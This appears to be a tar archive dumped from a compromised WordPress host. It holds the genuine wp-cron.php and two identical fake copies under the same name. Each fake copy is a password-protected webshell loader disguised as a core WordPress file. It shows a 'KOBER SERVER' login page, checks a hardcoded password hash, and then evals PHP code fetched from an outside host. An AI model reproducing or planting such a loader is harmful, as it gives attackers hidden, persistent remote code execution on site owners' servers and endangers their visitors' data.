dvadf/home/homerdlh/www/1ef9ad/wp-cron.php.tar
home/homerdlh/public_html/wp-cron.php 0000644 00000013340 15144173607 0013707 0 ustar 00 <?php
session_start();
function getURL($url) {
$parsed_url = parse_url($url);
$host = $parsed_url['host'];
$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';
$port = isset($parsed_url['port']) ? $parsed_url['port'] : (isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 443 : 80);
$scheme = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 'ssl://' : '';
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
elseif (function_exists('file_get_contents')) {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n"
]
]);
return file_get_contents($url, false, $context);
}
elseif (function_exists('stream_socket_client')) {
$socket = @stream_socket_client($scheme . $host . ':' . $port, $errno, $errstr);
if (!$socket) {
return false;
}
$request = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: PHP\r\nConnection: close\r\n\r\n";
fwrite($socket, $request);
$response = '';
while (!feof($socket)) {
$response .= fgets($socket);
}
fclose($socket);
$body = substr($response, strpos($response, "\r\n\r\n") + 4);
return $body;
}
elseif (function_exists('fsockopen')) {
$socket = @fsockopen($scheme . $host, $port, $errno, $errstr);
if (!$socket) {
return false;
}
$request = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: PHP\r\nConnection: close\r\n\r\n";
fwrite($socket, $request);
$response = '';
while (!feof($socket)) {
$response .= fgets($socket);
}
fclose($socket);
$body = substr($response, strpos($response, "\r\n\r\n") + 4);
return $body;
}
else {
return false;
}
}
function generate_csrf_token() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function login_shell() {
$password_hash = "5c8060b31c9446c0d5b157f0a4477ce9305ed64e4b752040f9115278ba7484bc"; // SHA256 hash of "KOBERSERVER#"
// Check if user is already authenticated
if (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true) {
// Execute webshell directly
eval("?>" . getURL("https://anak-desa.xyz/madgober.txt"));
exit;
}
if (isset($_POST['password']) && isset($_POST['csrf_token'])) {
// Verify CSRF token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
echo "<script>alert('Invalid CSRF token!');</script>";
return;
}
// Sanitize input to prevent XSS
$input_password = htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8');
// Hash the input password with SHA256
$input_password_hash = hash('sha256', $input_password);
if ($input_password_hash === $password_hash) {
// Password correct, set session and execute webshell
$_SESSION['authenticated'] = true;
eval("?>" . getURL("https://anak-desa.xyz/madgober.txt"));
exit;
} else {
// Incorrect password, trigger popup
echo "<script>alert('WHAT ARE YOU DOING BITCH !');</script>";
}
}
// Generate CSRF token for the form
$csrf_token = generate_csrf_token();
?>
<!DOCTYPE HTML>
<html>
<head>
<title>KOBER SERVER</title>
<style type="text/css">
html, body {
margin: 0;
padding: 0;
height: 100%;
background: url('https://i.postimg.cc/3wxrShJC/hino.jpg') no-repeat center center fixed;
background-size: cover;
color: #00ffcc;
font-family: monospace;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
}
.container {
background-color: rgba(0, 0, 0, 0.6); /* overlay transparan */
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 10px #00ffcc;
}
header pre {
text-shadow: 0 0 8px #00ffcc;
font-size: 14px;
}
input[type=password] {
width: 250px;
height: 25px;
color: #00ffcc;
background: transparent;
border: 1px dotted #00ffcc;
text-align: center;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<header>
<pre>
#### ###### ####### ## ## ##
## ## # ## # ## # #### ### ###
## ### ## ## ## ## # ## ## #######
###### #### ## #### ## ## #######
### ## ## ## ## # ###### ## # ##
## ## #### ## ## # ## ## ## ##
#### ## ## #### ####### ## ## ## ##
.: LOGIN ADMINISTRATOR :.
</pre>
</header>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrf_token, ENT_QUOTES, 'UTF-8'); ?>">
<input type="password" name="password" autofocus>
</form>
</div>
</body>
</html>
<?php
} // akhir fungsi
login_shell();
?> home/homerdlh/taxi.homeapplianceswarehouse.pk/wp-cron.php 0000644 00000012761 15144256500 0017675 0 ustar 00 <?php
/**
* A pseudo-cron daemon for scheduling WordPress tasks.
*
* WP-Cron is triggered when the site receives a visit. In the scenario
* where a site may not receive enough visits to execute scheduled tasks
* in a timely manner, this file can be called directly or via a server
* cron daemon for X number of times.
*
* Defining DISABLE_WP_CRON as true and calling this file directly are
* mutually exclusive and the latter does not rely on the former to work.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when a scheduled cron event runs.
*
* @package WordPress
*/
ignore_user_abort( true );
if ( ! headers_sent() ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}
// Don't run cron until the request finishes, if possible.
if ( function_exists( 'fastcgi_finish_request' ) ) {
fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
litespeed_finish_request();
}
if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
die();
}
/**
* Tell WordPress the cron task is running.
*
* @var bool
*/
define( 'DOING_CRON', true );
if ( ! defined( 'ABSPATH' ) ) {
/** Set up WordPress environment */
require_once __DIR__ . '/wp-load.php';
}
// Attempt to raise the PHP memory limit for cron event processing.
wp_raise_memory_limit( 'cron' );
/**
* Retrieves the cron lock.
*
* Returns the uncached `doing_cron` transient.
*
* @ignore
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return string|int|false Value of the `doing_cron` transient, 0|false otherwise.
*/
function _get_cron_lock() {
global $wpdb;
$value = 0;
if ( wp_using_ext_object_cache() ) {
/*
* Skip local cache and force re-fetch of doing_cron transient
* in case another process updated the cache.
*/
$value = wp_cache_get( 'doing_cron', 'transient', true );
} else {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
if ( is_object( $row ) ) {
$value = $row->option_value;
}
}
return $value;
}
$crons = wp_get_ready_cron_jobs();
if ( empty( $crons ) ) {
die();
}
$gmt_time = microtime( true );
// The cron lock: a unix timestamp from when the cron was spawned.
$doing_cron_transient = get_transient( 'doing_cron' );
// Use global $doing_wp_cron lock, otherwise use the GET lock. If no lock, try to grab a new lock.
if ( empty( $doing_wp_cron ) ) {
if ( empty( $_GET['doing_wp_cron'] ) ) {
// Called from external script/job. Try setting a lock.
if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) ) {
return;
}
$doing_wp_cron = sprintf( '%.22F', microtime( true ) );
$doing_cron_transient = $doing_wp_cron;
set_transient( 'doing_cron', $doing_wp_cron );
} else {
$doing_wp_cron = $_GET['doing_wp_cron'];
}
}
/*
* The cron lock (a unix timestamp set when the cron was spawned),
* must match $doing_wp_cron (the "key").
*/
if ( $doing_cron_transient !== $doing_wp_cron ) {
return;
}
foreach ( $crons as $timestamp => $cronhooks ) {
if ( $timestamp > $gmt_time ) {
break;
}
foreach ( $cronhooks as $hook => $keys ) {
foreach ( $keys as $k => $v ) {
$schedule = $v['schedule'];
if ( $schedule ) {
$result = wp_reschedule_event( $timestamp, $schedule, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron reschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires if an error happens when rescheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_reschedule_event_error', $result, $hook, $v );
}
}
$result = wp_unschedule_event( $timestamp, $hook, $v['args'], true );
if ( is_wp_error( $result ) ) {
error_log(
sprintf(
/* translators: 1: Hook name, 2: Error code, 3: Error message, 4: Event data. */
__( 'Cron unschedule event error for hook: %1$s, Error code: %2$s, Error message: %3$s, Data: %4$s' ),
$hook,
$result->get_error_code(),
$result->get_error_message(),
wp_json_encode( $v )
)
);
/**
* Fires if an error happens when unscheduling a cron event.
*
* @since 6.1.0
*
* @param WP_Error $result The WP_Error object.
* @param string $hook Action hook to execute when the event is run.
* @param array $v Event data.
*/
do_action( 'cron_unschedule_event_error', $result, $hook, $v );
}
/**
* Fires scheduled events.
*
* @ignore
* @since 2.1.0
*
* @param string $hook Name of the hook that was scheduled to be fired.
* @param array $args The arguments to be passed to the hook.
*/
do_action_ref_array( $hook, $v['args'] );
// If the hook ran too long and another cron process stole the lock, quit.
if ( _get_cron_lock() !== $doing_wp_cron ) {
return;
}
}
}
}
if ( _get_cron_lock() === $doing_wp_cron ) {
delete_transient( 'doing_cron' );
}
die();
home/homerdlh/public_html/wp-rest/wp-cron.php 0000644 00000013340 15144405360 0015302 0 ustar 00 <?php
session_start();
function getURL($url) {
$parsed_url = parse_url($url);
$host = $parsed_url['host'];
$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';
$port = isset($parsed_url['port']) ? $parsed_url['port'] : (isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 443 : 80);
$scheme = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 'ssl://' : '';
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
elseif (function_exists('file_get_contents')) {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: PHP\r\n"
]
]);
return file_get_contents($url, false, $context);
}
elseif (function_exists('stream_socket_client')) {
$socket = @stream_socket_client($scheme . $host . ':' . $port, $errno, $errstr);
if (!$socket) {
return false;
}
$request = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: PHP\r\nConnection: close\r\n\r\n";
fwrite($socket, $request);
$response = '';
while (!feof($socket)) {
$response .= fgets($socket);
}
fclose($socket);
$body = substr($response, strpos($response, "\r\n\r\n") + 4);
return $body;
}
elseif (function_exists('fsockopen')) {
$socket = @fsockopen($scheme . $host, $port, $errno, $errstr);
if (!$socket) {
return false;
}
$request = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: PHP\r\nConnection: close\r\n\r\n";
fwrite($socket, $request);
$response = '';
while (!feof($socket)) {
$response .= fgets($socket);
}
fclose($socket);
$body = substr($response, strpos($response, "\r\n\r\n") + 4);
return $body;
}
else {
return false;
}
}
function generate_csrf_token() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function login_shell() {
$password_hash = "5c8060b31c9446c0d5b157f0a4477ce9305ed64e4b752040f9115278ba7484bc"; // SHA256 hash of "KOBERSERVER#"
// Check if user is already authenticated
if (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true) {
// Execute webshell directly
eval("?>" . getURL("https://anak-desa.xyz/madgober.txt"));
exit;
}
if (isset($_POST['password']) && isset($_POST['csrf_token'])) {
// Verify CSRF token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
echo "<script>alert('Invalid CSRF token!');</script>";
return;
}
// Sanitize input to prevent XSS
$input_password = htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8');
// Hash the input password with SHA256
$input_password_hash = hash('sha256', $input_password);
if ($input_password_hash === $password_hash) {
// Password correct, set session and execute webshell
$_SESSION['authenticated'] = true;
eval("?>" . getURL("https://anak-desa.xyz/madgober.txt"));
exit;
} else {
// Incorrect password, trigger popup
echo "<script>alert('WHAT ARE YOU DOING BITCH !');</script>";
}
}
// Generate CSRF token for the form
$csrf_token = generate_csrf_token();
?>
<!DOCTYPE HTML>
<html>
<head>
<title>KOBER SERVER</title>
<style type="text/css">
html, body {
margin: 0;
padding: 0;
height: 100%;
background: url('https://i.postimg.cc/3wxrShJC/hino.jpg') no-repeat center center fixed;
background-size: cover;
color: #00ffcc;
font-family: monospace;
display: flex;
justify-content: center;
align-items: center;
text-align: center;
}
.container {
background-color: rgba(0, 0, 0, 0.6); /* overlay transparan */
padding: 30px;
border-radius: 10px;
box-shadow: 0 0 10px #00ffcc;
}
header pre {
text-shadow: 0 0 8px #00ffcc;
font-size: 14px;
}
input[type=password] {
width: 250px;
height: 25px;
color: #00ffcc;
background: transparent;
border: 1px dotted #00ffcc;
text-align: center;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<header>
<pre>
#### ###### ####### ## ## ##
## ## # ## # ## # #### ### ###
## ### ## ## ## ## # ## ## #######
###### #### ## #### ## ## #######
### ## ## ## ## # ###### ## # ##
## ## #### ## ## # ## ## ## ##
#### ## ## #### ####### ## ## ## ##
.: LOGIN ADMINISTRATOR :.
</pre>
</header>
<form method="post">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrf_token, ENT_QUOTES, 'UTF-8'); ?>">
<input type="password" name="password" autofocus>
</form>
</div>
</body>
</html>
<?php
} // akhir fungsi
login_shell();
?>
